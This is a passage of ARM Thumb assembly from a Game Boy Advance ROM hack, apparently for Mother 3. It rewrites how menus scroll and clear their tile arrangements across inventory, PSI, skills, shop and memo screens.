pop {pc} //============================================================================================= // This hack changes how up/down scrolling in menus works - Based off of 0x8046D90, which is basic menu printing //============================================================================================= .new_print_menu_offset_table: dd .new_main_inventory_scroll_print+1; dd .new_equip_print+1; dd .new_psi_scroll_print+1; dd .new_status_print+1 dd .new_skills_scroll_print+1; dd .new_memoes_scroll_print+1; dd .new_default_scroll_print+1; dd .new_battle_memo_scroll_print+1 dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_shop_scroll_print+1; dd .new_shop_scroll_print+1 dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_withdrawing_scroll_print+1 dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_default_scroll_print+1 dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_default_scroll_print+1 dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_default_scroll_print+1 dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_default_scroll_print+1 .new_print_menu_offset_table_special: dd .new_equip_submenu_scroll_print+1; dd .new_equip_submenu_scroll_print+1; dd .new_equip_submenu_scroll_print+1; dd .new_equip_submenu_scroll_print+1 .new_print_menu_addition_value_table: dw $41EC; dw $41F4; dw $41EC; dw $41EC; dw $41EC; dw $41FC; dw $41EC; dw $41FC; dw $41EC; dw $41EC; dw $4204; dw $4204; dw $41EC; dw $41EC; dw $41EC; dw $41EC; dw $41EC; dw $41EC; dw $41EC; dw $41EC; dw $41EC; dw $41EC; dw $41EC; dw $41EC; dw $41EC; dw $41EC; dw $41EC; dw $41EC; dw $41EC; dw $41EC; dw $41EC; dw $41EC; .new_print_menu_up_down: push {r4,lr} ldr r3,=#0x2016028 // Base code ldr r0,=#0x44F2 add r2,r3,r0 ldrb r1,[r2,#0] lsl r0,r1,#0x1C cmp r0,#0 bge + b .end_new_print_menu_up_down + mov r0,#8 orr r0,r1 strb r0,[r2,#0] ldr r1,=#0x4260 add r0,r3,r1 //Get the type of menu this is ldrb r0,[r0,#0] cmp r0,#0x10 bhi + ldr r2,=#.new_print_menu_addition_value_table lsl r0,r0,#1 ldsh r2,[r2,r0] ldr r0,=#0x2016078 add r1,r0,r2 mov r2,#1 mov r3,#0 bl .new_clear_menu //New code!!! + bl $8049D5C //Back to base code ldr r3,=#0x2016028 ldr r1,=#0x41C6 add r0,r3,r1 ldrb r1,[r0,#0] mov r0,#1 and r0,r1 cmp r0,#0 beq + ldr r2,=#0x41BC add r1,r3,r2 ldrh r0,[r1,#0] cmp r0,#3 bhi .end_new_print_menu_up_down ldrh r1,[r1,#0] lsl r1,r1,#2 ldr r0,=#.new_print_menu_offset_table_special add r1,r1,r0 ldrh r0,[r1,#0] ldrh r1,[r1,#2] lsl r1,r1,#0x10 orr r1,r0 ldr r4,=#0x3060 add r0,r3,r4 bl $8091938 b .end_new_print_menu_up_down + ldr r0,=#0x4260 add r2,r3,r0 ldrb r0,[r2,#0] cmp r0,#0x12 bhi .end_new_print_menu_up_down lsl r0,r0,#5 mov r4,#0xB8 lsl r4,r4,#6 add r1,r3,r4 add r0,r0,r1 ldr r1,=#0x201A288 ldrb r1,[r1,#0] lsl r1,r1,#2 ldr r2,=#.new_print_menu_offset_table add r1,r2,r1 ldrh r2,[r1,#2] lsl r2,r2,#0x10 ldrh r1,[r1,#0] add r1,r1,r2 bl $8091938 // New code! .end_new_print_menu_up_down: pop {r4,pc} //============================================================================================= // This hack changes how a removal in menus works - Based off of 0x8046D90, which is basic menu printing // Same code as above except for the points in which it's present the comment DIFFERENT!!! //============================================================================================= .new_print_menu_a_offset_table: dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_default_scroll_print+1 dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_default_scroll_print+1 dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_shop_scroll_print+1 dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_withdrawing_a_print+1 dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_default_scroll_print+1 dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_default_scroll_print+1 dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_default_scroll_print+1 dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_default_scroll_print+1 .new_print_menu_a: push {r4,lr} ldr r3,=#0x2016028 // Base code ldr r0,=#0x44F2 add r2,r3,r0 ldrb r1,[r2,#0] lsl r0,r1,#0x1C cmp r0,#0 bge + b .end_new_print_menu_a + mov r0,#8 orr r0,r1 strb r0,[r2,#0] ldr r1,=#0x4260 add r0,r3,r1 //Get the type of menu this is ldrb r0,[r0,#0] cmp r0,#0x10 bhi + ldr r2,=#.new_print_menu_addition_value_table lsl r0,r0,#1 ldsh r2,[r2,r0] ldr r0,=#0x2016078 add r1,r0,r2 mov r2,#1 mov r3,#0 bl .new_clear_menu_a //DIFFERENT!!! + bl $8049D5C //Back to base code ldr r3,=#0x2016028 ldr r1,=#0x41C6 add r0,r3,r1 ldrb r1,[r0,#0] mov r0,#1 and r0,r1 cmp r0,#0 beq + ldr r2,=#0x41BC add r1,r3,r2 ldrh r0,[r1,#0] cmp r0,#3 bhi .end_new_print_menu_a ldr r0,=#0x9B8FD74 ldrh r1,[r1,#0] lsl r1,r1,#2 add r1,r1,r0 ldr r4,=#0x3060 add r0,r3,r4 ldr r1,[r1,#0] bl $8091938 b .end_new_print_menu_a + ldr r0,=#0x4260 add r2,r3,r0 ldrb r0,[r2,#0] cmp r0,#0x12 bhi .end_new_print_menu_a lsl r0,r0,#5 mov r4,#0xB8 lsl r4,r4,#6 add r1,r3,r4 add r0,r0,r1 ldr r1,=#0x201A288 ldrb r1,[r1,#0] lsl r1,r1,#2 //DIFFERENT!!! ldr r2,=#.new_print_menu_a_offset_table add r1,r2,r1 ldrh r2,[r1,#2] lsl r2,r2,#0x10 ldrh r1,[r1,#0] add r1,r1,r2 bl $8091938 // New code! .end_new_print_menu_a: pop {r4,pc} //============================================================================================= // This hack changes how menu clearing works, based off of 0x80012BC //============================================================================================= .new_swap_arrangement_routine_table: dd .new_clear_inventory+1; dd .new_clear_equipment+1; dd .new_clear_inventory+1; dd .new_clear_status+1 dd .new_clear_inventory+1; dd .new_clear_memoes+1; dd .new_clear_inventory+1; dd .new_clear_battle_memo+1 dd .new_clear_inventory+1; dd .new_clear_inventory+1; dd .new_clear_shop+1; dd .new_clear_shop+1 dd .new_clear_inventory+1; dd .new_clear_inventory+1; dd .new_clear_inventory+1; dd .new_clear_inventory+1 dd .new_clear_inventory+1; dd .new_clear_inventory+1; dd .new_clear_inventory+1; dd .new_clear_inventory+1 dd .new_clear_inventory+1; dd .new_clear_inventory+1; dd .new_clear_inventory+1; dd .new_clear_inventory+1 dd .new_clear_inventory+1; dd .new_clear_inventory+1; dd .new_clear_inventory+1; dd .new_clear_inventory+1 dd .new_clear_inventory+1; dd .new_clear_inventory+1; dd .new_clear_inventory+1; dd .new_clear_inventory+1 .new_swap_arrangement_routine_special_table: dd .new_clear_equip_submenu+1; dd .new_clear_equip_submenu+1; dd .new_clear_equip_submenu+1; dd .new_clear_equip_submenu+1 .new_clear_menu: push {r4-r7,lr} mov r7,r8 //base code push {r7} add sp,#-0xC mov r8,r0 mov r5,r1 lsl r2,r2,#0x10 lsr r7,r2,#0x10 mov r0,sp strh r3,[r0,#0] cmp r5,#0 beq .new_clear_menu_next_spot mov r1,#0 ldsh r0,[r5,r1] cmp r0,#0 bge + add r0,#7 + lsl r0,r0,#0xD lsr r0,r0,#0x10 ldr r2,=#0xFFFF0000 ldr r1,[sp,#4] and r1,r2 orr r1,r0 str r1,[sp,#4] mov r1,#2 ldsh r0,[r5,r1] cmp r0,#0 bge + add r0,#7 + asr r0,r0,#3 add r4,sp,#4 strh r0,[r4,#2] ldrh r0,[r5,#4] lsr r0,r0,#3 strh r0,[r4,#4] ldrh r0,[r5,#6] lsr r0,r0,#3 strh r0,[r4,#6] ldrh r2,[r4,#0] ldrh r3,[r4,#2] mov r0,r8 mov r1,r7 bl $8001378 mov r5,r0 mov r6,#0 ldrh r0,[r4,#6] cmp r6,r0 bcs + //New code! ldr r0,=#0x201A1EE //If this is an equip submenu, load the special table ldrb r0,[r0,#0] mov r1,#1 and r0,r1 cmp r0,#0 beq .new_clear_menu_normal_menu ldr r0,=#0x201A1E4 ldrb r0,[r0,#0] cmp r0,#3 bhi + lsl r0,r0,#2 ldr r1,=#.new_swap_arrangement_routine_special_table b .new_clear_menu_load_address .new_clear_menu_normal_menu: ldr r0,=#0x201A288 //This is a normal menu ldrb r0,[r0,#0] lsl r0,r0,#2 ldr r1,=#.new_swap_arrangement_routine_table .new_clear_menu_load_address: add r1,r1,r0 ldrh r0,[r1,#0] ldrh r1,[r1,#2] lsl r1,r1,#0x10 add r1,r1,r0 bl $8091938 b + .new_clear_menu_next_spot: //Back to base code mov r0,r8 mov r1,r7 mov r2,#0 mov r3,#0 bl $8001378 mov r5,r0 mov r1,#0x80 lsl r1,r1,#4 bl $80019DC + .new_clear_menu_general: mov r0,sp ldrh r0,[r0,#0] cmp r0,#0 beq + lsl r1,r7,#1 mov r0,#0xB1 lsl r0,r0,#6 add r0,r8 add r0,r0,r1 ldrh r1,[r0,#0] mov r1,#1 strh r1,[r0,#0] + add sp,#0xC pop {r3} mov r8,r3 pop {r4-r7,pc} //============================================================================================= // This hack changes how menu clearing works, based off of 0x80012BC // Same as above, except it cuts a part //============================================================================================= .new_clear_menu_a: push {r4-r7,lr} mov r7,r8 //base code push {r7} add sp,#-0xC mov r8,r0 mov r5,r1 lsl r2,r2,#0x10 lsr r7,r2,#0x10 mov r0,sp strh r3,[r0,#0] cmp r5,#0 bne + b .new_clear_menu_next_spot + mov r1,#0 ldsh r0,[r5,r1] cmp r0,#0 bge + add r0,#7 + lsl r0,r0,#0xD lsr r0,r0,#0x10 ldr r2,=#0xFFFF0000 ldr r1,[sp,#4] and r1,r2 orr r1,r0 str r1,[sp,#4] mov r1,#2 ldsh r0,[r5,r1] cmp r0,#0 bge + add r0,#7 + asr r0,r0,#3 add r4,sp,#4 strh r0,[r4,#2] ldrh r0,[r5,#4] lsr r0,r0,#3 strh r0,[r4,#4] ldrh r0,[r5,#6] lsr r0,r0,#3 strh r0,[r4,#6] ldrh r2,[r4,#0] ldrh r3,[r4,#2] mov r0,r8 mov r1,r7 bl $8001378 b .new_clear_menu_general //============================================================================================= // Swaps the arrangements' place for the inventory //============================================================================================= .new_clear_inventory: push {lr} bl .get_direction cmp r0,#0 bne .new_clear_inventory_descending //Swap arrangements' place - if we're ascending mov r1,r5 mov r0,#0x38 lsl r0,r0,#4 add r4,r1,r0 // Get to bottom - mov r1,r4 mov r0,#0x80 sub r4,r4,r0 mov r0,r4 mov r2,#0x20 // Put the arrangements one below swi #0xC cmp r4,r5 bgt - mov r0,#0 push {r0} mov r0,sp mov r1,r5 ldr r2,=#0x01000020 // (0x80 bytes of arrangements, 24th bit is 1 to fill instead of copying) swi #0xC pop {r0} b .new_clear_inventory_end //Swap arrangements' place - if we're descending .new_clear_inventory_descending: mov r1,r5 mov r0,#0x80 add r0,r0,r1 mov r2,#0xE0 // Put the arrangements one above swi #0xC mov r0,#0 push {r0} mov r0,#0x38 lsl r1,r0,#4 mov r0,sp add r1,r1,r5 ldr r2,=#0x01000020 // (0x80 bytes of arrangements, 24th bit is 1 to fill instead of copying) swi #0xC pop {r0} .new_clear_inventory_end: pop {pc} //============================================================================================= // Clears the arrangements for the Status menu //============================================================================================= .new_clear_status: push {lr} mov r1,r5 mov r0,#0x69 lsl r0,r0,#2 add r4,r1,r0 mov r3,#0 - push {r3} mov r0,#0 push {r0} mov r0,sp mov r1,r4 ldr r2,=#0x0100000E // (0x18 bytes of arrangements, 24th bit is 1 to fill instead of copying) swi #0xB mov r0,sp mov r1,r4 add r1,#0x40 ldr r2,=#0x0100000E // (0x18 bytes of arrangements, 24th bit is 1 to fill instead of copying) swi #0xB pop {r0} pop {r3} mov r0,#8 lsl r0,r0,#4 add r4,r4,r0 // Prepare the next one add r3,#1 cmp r3,#5 bne - pop {pc} //============================================================================================= // Clears the arrangements for the Equipment menu //============================================================================================= .new_clear_equipment: push {lr} mov r1,r5 mov r0,#0x84 add r4,r1,r0 mov r3,#0 - push {r3} mov r0,#0 push {r0} mov r0,sp mov r1,r4 ldr r2,=#0x0100000E // (0x18 bytes of arrangements, 24th bit is 1 to fill instead of copying) swi #0xB mov r0,sp mov r1,r4 add r1,#0x40 ldr r2,=#0x0100000E // (0x18 bytes of arrangements, 24th bit is 1 to fill instead of copying) swi #0xB pop {r0} pop {r3} mov r0,#1 lsl r0,r0,#8 add r4,r4,r0 // Prepare the next one add r3,#1 cmp r3,#4 bne - pop {pc} //============================================================================================= // Swaps the arrangements' place for the equipment submenu //============================================================================================= .new_clear_equip_submenu: push {lr} bl .get_direction_submenu cmp r0,#0 bne .new_clear_equip_submenu_descending //Swap arrangements' place - if we're ascending mov r1,r5 mov r0,#0x38 lsl r0,r0,#4 add r4,r1,r0 // Get to bottom - mov r1,r4 mov r0,#0x80 sub r0,r4,r0 mov r2,#0x8 // Put the arrangements one below swi #0xC mov r1,r4 mov r0,#0x80 sub r4,r4,r0 mov r0,r4 add r0,#0x40 add r1,#0x40 mov r2,#0x8 // Put the arrangements one below swi #0xC cmp r4,r5 bgt - mov r0,#0 push {r0} mov r0,sp mov r1,r5 ldr r2,=#0x01000008 // (0x20 bytes of arrangements, 24th bit is 1 to fill instead of copying) swi #0xC mov r0,sp mov r1,r5 add r1,#0x40 ldr r2,=#0x01000008 // (0x20 bytes of arrangements, 24th bit is 1 to fill instead of copying) swi #0xC pop {r0} b .new_clear_equip_submenu_end //Swap arrangements' place - if we're descending .new_clear_equip_submenu_descending: mov r1,r5 mov r0,#0x38 lsl r0,r0,#4 add r4,r1,r0 // Get to bottom - mov r1,r5 mov r0,#0x80 add r0,r0,r1 mov r2,#0x8 // Put the arrangements one above swi #0xC mov r1,r5 add r1,#0x40 mov r0,#0x80 add r0,r0,r1 mov r2,#0x8 // Put the arrangements one above swi #0xC add r5,#0x80 cmp r4,r5 bgt - mov r0,#0 push {r0} mov r0,sp mov r1,r5 ldr r2,=#0x01000008 // (0x20 bytes of arrangements, 24th bit is 1 to fill instead of copying) swi #0xC mov r0,sp mov r1,r5 add r1,#0x40 ldr r2,=#0x01000008 // (0x20 bytes of arrangements, 24th bit is 1 to fill instead of copying) swi #0xC pop {r0} .new_clear_equip_submenu_end: pop {pc} //============================================================================================= // Swaps the arrangements' place for the battle memories //============================================================================================= .new_clear_battle_memo: push {lr} add r5,#0x40 bl .get_direction cmp r0,#0 bne .new_clear_battle_memo_descending //Swap arrangements' place - if we're ascending mov r1,r5 mov r0,#0x38 lsl r0,r0,#4 add r4,r1,r0 // Get to bottom - mov r1,r4 mov r0,#0x80 sub r4,r4,r0 mov r0,r4 mov r2,#0x20 // Put the arrangements one below swi #0xC cmp r4,r5 bgt - mov r0,#0 push {r0} mov r0,sp mov r1,r5 ldr r2,=#0x01000020 // (0x80 bytes of arrangements, 24th bit is 1 to fill instead of copying) swi #0xC pop {r0} b .new_clear_battle_memo_end //Swap arrangements' place - if we're descending .new_clear_battle_memo_descending: mov r1,r5 mov r0,#0x80 add r0,r0,r1 mov r2,#0xE0 // Put the arrangements one above swi #0xC mov r0,#0 push {r0} mov r0,#0x38 lsl r1,r0,#4 mov r0,sp add r1,r1,r5 ldr r2,=#0x01000020 // (0x80 bytes of arrangements, 24th bit is 1 to fill instead of copying) swi #0xC pop {r0} .new_clear_battle_memo_end: sub r5,#0x40 pop {pc} //============================================================================================= // Swaps the arrangements' place for the memoes //============================================================================================= .new_clear_memoes: push {lr} add r5,#0xBE bl .get_direction cmp r0,#0 bne .new_clear_memoes_descending //Swap arrangements' place - if we're ascending mov r1,r5 mov r0,#0x30 lsl r0,r0,#4 add r4,r1,r0 // Get to bottom - mov r1,r4 mov r0,#0x80 sub r4,r4,r0 mov r0,r4 mov r2,#0x20 // Put the arrangements one below swi #0xC cmp r4,r5 bgt - mov r0,#0 push {r0} mov r0,sp mov r1,r5 ldr r2,=#0x01000020 // (0x80 bytes of arrangements, 24th bit is 1 to fill instead of copying) swi #0xC pop {r0} b .new_clear_memoes_end //Swap arrangements' place - if we're descending .new_clear_memoes_descending: mov r1,r5 mov r0,#0x80 add r0,r0,r1 mov r2,#0xC0 // Put the arrangements one above swi #0xC mov r0,#0 push {r0} mov r0,#0x30 lsl r1,r0,#4 mov r0,sp add r1,r1,r5 ldr r2,=#0x01000020 // (0x80 bytes of arrangements, 24th bit is 1 to fill instead of copying) swi #0xC pop {r0} .new_clear_memoes_end: sub r5,#0xBE pop {pc} //============================================================================================= // Swaps the arrangements' place for the shop //============================================================================================= .new_clear_shop: push {lr} add r5,#0x2A bl .get_direction cmp r0,#0 bne .new_clear_shop_descending //Swap arrangements' place - if we're ascending mov r1,r5 mov r0,#0x28 lsl r0,r0,#4 add r4,r1,r0 // Get to bottom - mov r1,r4 mov r0,#0x80 sub r4,r4,r0 mov r0,r4 mov r2,#0x20 // Put the arrangements one below swi #0xC cmp r4,r5 bgt - mov r0,#0 push {r0} mov r0,sp mov r1,r5 ldr r2,=#0x01000020 // (0x80 bytes of arrangements, 24th bit is 1 to fill instead of copying) swi #0xC pop {r0} b .new_clear_shop_end //Swap arrangements' place - if we're descending .new_clear_shop_descending: mov r1,r5 mov r0,#0x80 add r0,r0,r1 mov r2,#0xC0 // Put the arrangements one above swi #0xC mov r0,#0 push {r0} mov r0,#0x28 lsl r1,r0,#4 mov r0,sp add r1,r1,r5 ldr r2,=#0x01000020 // (0x80 bytes of arrangements, 24th bit is 1 to fill instead of copying) swi #0xC pop {r0} .new_clear_shop_end: sub r5,#0x2A pop {pc} //============================================================================================= // This hack gives a default print scroller //============================================================================================= .new_default_scroll_print: bx lr //============================================================================================= // This hack changes what the battle memo scrolling will print, based off of 0x80476C0 //============================================================================================= .new_battle_memo_scroll_print: push {r4-r7,lr} add sp,#-4 //base code mov r2,r0 ldr r1,=#0x2016028 mov r6,#1 //New code bl .get_direction cmp r0,#0 bne .new_battle_memo_scroll_print_descending ldrh r0,[r2,#8] b + .new_battle_memo_scroll_print_descending: ldrh r0,[r2,#8] mov r2,#8 sub r2,r2,r6 add r0,r0,r2 + .new_battle_memo_scroll_print_general: lsl r0,r0,#2 //base code mov r2,#0xE0 lsl r2,r2,#6 add r1,r1,r2 add r4,r0,r1 mov r5,#0 cmp r5,r6 bcs .new_battle_memo_scroll_print_end mov r7,#0xF - ldr r0,[r4,#0] lsl r0,r0,#0xA cmp r0,#0 bge + ldrb r1,[r4,#0] //Change a bit how this works in order to save space mov r0,#7 bl $8001C5C .new_battle_memo_scroll_print_after_function: b .new_battle_memo_scroll_print_single_continue + mov r0,#1 bl $80486A0 .new_battle_memo_scroll_print_single_continue: add r2,r5,#2 bl .get_battle_memoes_height //New code lsl r2,r2,#0x10 //base code lsr r2,r2,#0x10 str r7,[sp,#0] mov r1,#1 mov r3,#1 neg r3,r3 bl $8047B9C add r0,r5,#1 lsl r0,r0,#0x10 lsr r5,r0,#0x10 add r4,#4 cmp r5,r6 bcc - .new_battle_memo_scroll_print_end: add sp,#4 pop {r4-r7,pc} //============================================================================================= // This hack changes what the skill scrolling will print, based off of 0x80473EC //============================================================================================= .new_skills_scroll_print: push {r4-r7,lr} mov r7,r9 //base code mov r6,r8 push {r6,r7} add sp,#-8 mov r4,r0 ldrh r0,[r4,#0xA] bl $8054FE0 add r3,sp,#4 mov r2,sp add r2,#6 mov r1,#0 strh r1,[r2,#0] ldrh r1,[r2,#0] strh r1,[r3,#0] ldrb r0,[r0,#0] mov r9,r2 cmp r0,#3 beq .duster_skills_scroll_print cmp r0,#3 bgt + cmp r0,#2 beq .psi_skills_scroll_print b .generic_skills_scroll_print + cmp r0,#4 bne .generic_skills_scroll_print .psi_skills_scroll_print: add r1,sp,#4 mov r0,#1 b + .duster_skills_scroll_print: mov r0,#1 mov r1,r9 + strh r0,[r1,#0] .generic_skills_scroll_print: ldr r1,=#0x2016028 ldr r2,=#0x427A bl .get_direction //New code! cmp r0,#0 bne .new_skills_scroll_print_descending mov r0,#2 ldrh r2,[r4,#8] b + .new_skills_scroll_print_descending: add r0,r1,r2 ldrh r0,[r0,#0] ldrh r2,[r4,#8] add r2,#0xE sub r0,r0,r2 cmp r0,#2 ble + mov r0,#2 + lsl r0,r0,#0x10 //base code lsr r3,r0,#0x10 mov r8,r3 lsl r2,r2,#2 mov r3,#0xDE lsl r3,r3,#6 add r1,r1,r3 add r5,r2,r1 mov r6,#0 lsr r0,r0,#0x11 cmp r6,r0 bcs .end_double_skills_print mov r7,#0xF //Set the thing to print the bottom two skills at the right position add r0,sp,#4 //But we optimize the code size ldrh r0,[r0,#0] cmp r0,#0 beq + mov r6,#8 mov r4,#0xA b .double_skills_print + mov r1,r9 ldrh r0,[r1,#0] mov r4,#0xB cmp r0,#0 beq + mov r6,#2 b .double_skills_print + mov r6,#0xD .double_skills_print: //Actual double skills printing ldrb r1,[r5,#0] mov r0,r6 bl $8001C5C str r7,[sp,#0] mov r1,#1 bl .get_inventory_height mov r3,#0x16 bl $8047B9C add r5,#4 ldrb r1,[r5,#0] mov r0,r6 bl $8001C5C str r7,[sp,#0] mov r1,r4 bl .get_inventory_height mov r3,#0x16 bl $8047B9C cmp r6,#0x8 bne + mov r0,#0 mov r1,#0 mov r2,#1 bl $8047D90 + .end_double_skills_print: mov r0,#1 mov r3,r8 and r0,r3 cmp r0,#0 beq .new_skills_scroll_print_end add r0,sp,#4 //Set the thing to print the bottom skill at the right position ldrh r0,[r0,#0] //But we optimize the code size cmp r0,#0 beq + mov r6,#8 b .single_skill_print + mov r1,r9 ldrh r0,[r1,#0] cmp r0,#0 beq + mov r6,#2 b .single_skill_print + mov r6,#0xD .single_skill_print: //Actual single skill printing mov r7,#0xF ldrb r1,[r5,#0] mov r0,r6 bl $8001C5C str r7,[sp,#0] mov r1,#1 bl .get_inventory_height mov r3,#0x16 bl $8047B9C .new_skills_scroll_print_end: add sp,#8 pop {r3,r4} mov r8,r3 mov r9,r4 pop {r4-r7,pc} //============================================================================================= // This hack changes what the equipment submenu scrolling will print, based off of 0x8047A78 //============================================================================================= .new_equip_submenu_scroll_print: push {r4-r7,lr} add sp,#-4 //base code mov r2,r0 ldr r1,=#0x2016028 mov r6,#1 //New code bl .get_direction_submenu cmp r0,#0 bne .new_equip_submenu_scroll_print_descending ldrh r0,[r2,#8] b + .new_equip_submenu_scroll_print_descending: ldrh r0,[r2,#8] add r0,#7 + lsl r0,r0,#2 //base code mov r2,#0xD3 lsl r2,r2,#6 add r1,r1,r2 add r4,r0,r1 mov r5,#0 cmp r5,r6 bcs .new_equip_submenu_scroll_print_end mov r7,#0xF ldrb r0,[r4,#0] cmp r0,#0 bne .new_equip_submenu_scroll_print_item // This branch prints None at the bottom mov r0,#0x58 bl $80486A0 bl .get_equip_submenu_height //New code str r7,[sp,#0] //base code mov r1,#0xC mov r3,#1 neg r3,r3 bl $8047B9C b .new_equip_submenu_scroll_print_end .new_equip_submenu_scroll_print_item: ldrb r1,[r4,#0] mov r0,#2 bl $8001C5C mov r1,r0 bl .get_equip_submenu_height //New code ldr r0,[r4,#0] //base code lsl r0,r0,#9 cmp r0,#0 bge .new_equip_submenu_scroll_print_item_grey str r7,[sp,#0] b + .new_equip_submenu_scroll_print_item_grey: mov r0,#1 str r0,[sp,#0] + mov r0,r1 mov r1,#0xC mov r3,#0x16 bl $8047B9C .new_equip_submenu_scroll_print_end: add sp,#4 pop {r4-r7,pc} //============================================================================================= // This hack changes what the selling menu scrolling will print, based off of 0x80477BC. // Also covers buying thanks to .get_x_shop, which is at 0x804774C //============================================================================================= .new_shop_scroll_print: push {r4-r6,lr} add sp,#-4 mov r2,r0 //base code ldr r1,=#0x2016028 bl .get_direction //New code cmp r0,#0 bne .new_shop_scroll_print_descending ldrh r0,[r2,#8] b + .new_shop_scroll_print_descending: ldrh r0,[r2,#8] add r0,#5 + bl .get_added_value_menu_valid //Code used in order to cover both buying and selling lsl r0,r0,#2 //base code add r1,r1,r2 add r4,r0,r1 ldrb r1,[r4,#0] //If we're scrolling, we have at least one item here mov r0,#2 bl $8001C5C mov r1,r0 bl .get_shop_height //New code ldr r0,[r4,#0] //base code lsl r0,r0,#0xA cmp r0,#0 bge + mov r0,#0xF b .new_shop_scroll_print_continue + mov r0,#1 .new_shop_scroll_print_continue: str r0,[sp,#0] mov r0,r1 bl .get_x_shop //Covers both buying and selling mov r3,#0x16 bl $8047B9C add sp,#4 pop {r4-r6,pc} //============================================================================================= // Returns as the X the menu identifier -1. This is an optimization due to where stuff is normally printed. // The two values are not actually related. They're 0xA for selling and 0x9 for buying //============================================================================================= .get_x_shop: ldr r1,=#0x201A288 ldrb r1,[r1,#0] sub r1,#1 bx lr //============================================================================================= // Returns the value that has to be added in order to go to the proper menu's inventory. // If it's for the PSI menu, it has the inventory's number in r0 //============================================================================================= .get_added_value_menu_valid: push {r1} ldr r2,=#0x201A288 ldrb r2,[r2,#0] cmp r2,#0xB beq .get_added_value_sell_valid cmp r2,#0xA beq .get_added_value_buy_valid cmp r2,#0x2 beq .get_added_value_psi_valid b + .get_added_value_psi_valid: mov r2,#0x35 lsl r2,r2,#8 lsl r1,r0,#7 add r2,r2,r1 b + .get_added_value_buy_valid: ldr r2,=#0x3D44 b + .get_added_value_sell_valid: mov r2,#0xD2 lsl r2,r2,#6 + pop {r1} bx lr //============================================================================================= // This hack changes what the psi scrolling will print, based off of 0x80471B4 // Base game bug: when you use a party wide PSI in this menu and end up with fewer PPs than // the PPs required to use a PSI, this isn't reflected in the PSI's colour. // Putting this here in order to fix it at a later date. //============================================================================================= .new_psi_scroll_print: push {r4-r7,lr} add sp,#-4 mov r2,r0 //base code ldr r4,=#0x2016028 ldrh r3,[r2,#0xA] lsl r0,r3,#1 ldr r5,=#0x4270 add r1,r4,r5 add r1,r0,r1 //If we're scrolling, the character has for sure > 0 PSI bl .get_direction //New code! cmp r0,#0 bne .new_psi_scroll_print_descending mov r0,#2 ldrh r1,[r2,#8] b + .new_psi_scroll_print_descending: ldrh r0,[r1,#0] ldrh r1,[r2,#8] add r1,#0xE sub r0,r0,r1 cmp r0,#2 ble + mov r0,#2 + lsl r2,r0,#0x10 //base code lsr r7,r2,#0x10 lsl r3,r3,#7 lsl r0,r1,#2 mov r5,#0xD4 lsl r5,r5,#6 add r1,r4,r5 add r0,r0,r1 add r4,r3,r0 mov r6,#0 lsr r2,r2,#0x11 cmp r6,r2 bcs + ldrb r1,[r4,#0] //Set the thing to print the bottom two psi at the right position mov r0,#8 bl $8001C5C mov r3,r0 bl .get_inventory_height mov r5,r2 ldr r0,[r4,#0] bl .get_psi_usable str r0,[sp,#0] mov r0,r3 mov r1,#1 mov r3,#0x16 bl $8047B9C add r4,#4 ldrb r1,[r4,#0] mov r0,#8 bl $8001C5C mov r3,r0 mov r2,r5 ldr r0,[r4,#0] bl .get_psi_usable str r0,[sp,#0] mov r0,r3 mov r1,#0xA mov r3,#0x16 bl $8047B9C mov r0,#0 mov r1,#0 mov r2,#1 bl $8047D90 + mov r5,#1 mov r0,r7 and r0,r5 cmp r0,#0 beq + ldrb r1,[r4,#0] //Set the thing to print the bottom psi at the right position mov r0,#8 bl $8001C5C mov r3,r0 bl .get_inventory_height ldr r0,[r4,#0] bl .get_psi_usable str r0,[sp,#0] mov r0,r3 mov r1,#1 mov r3,#0x16 bl $8047B9C + add sp,#4 pop {r4-r7,pc} //============================================================================================= // This hack changes what the memoes scrolling will print, based off of 0x80475A4 //============================================================================================= .new_memoes_scroll_print: push {r4-r7,lr} mov r7,r8 //base code push {r7} add sp,#-4 ldr r3,=#0x2016028 ldr r2,=#0x427E add r1,r3,r2 mov r2,r0 bl .get_direction //New code! cmp r0,#0 bne .new_memoes_scroll_print_descending mov r0,#2 ldrh r1,[r2,#8] b + .new_memoes_scroll_print_descending: ldrh r0,[r1,#0] ldrh r1,[r2,#8] add r1,#0xC sub r0,r0,r1 cmp r0,#2 ble + mov r0,#2 + lsl r0,r0,#0x10 //base code lsr r4,r0,#0x10 mov r8,r4 lsl r2,r1,#2 ldr r4,=#0x3BFC add r1,r3,r4 add r4,r2,r1 mov r7,#0 lsr r0,r0,#0x11 cmp r7,r0 bcs .new_memoes_scroll_print_end_of_double ldr r0,[r4,#0] lsl r0,r0,#0xA cmp r0,#0 bge .new_memoes_scroll_print_end_of_double ldrb r0,[r4,#0] bl $80486D8 mov r3,r0 bl .get_memoes_height //New code mov r6,#1 neg r6,r6 ldr r0,[r4,#0] lsl r0,r0,#9 bl .new_memoes_scroll_print_get_colour str r0,[sp,#0] //Optimize code size mov r0,r3 //base code mov r1,#1 mov r3,r6 bl $8047B9C add r4,#4 ldr r0,[r4,#0] lsl r0,r0,#0xA cmp r0,#0 bge .new_memoes_scroll_print_end_of_double ldrb r0,[r4,#0] bl $80486D8 mov r1,r0 bl .get_memoes_height //New code mov r3,#1 neg r3,r3 ldr r0,[r4,#0] lsl r0,r0,#9 bl .new_memoes_scroll_print_get_colour str r0,[sp,#0] //Optimize code size mov r0,r1 //base code mov r1,#0xB bl $8047B9C add r4,#4 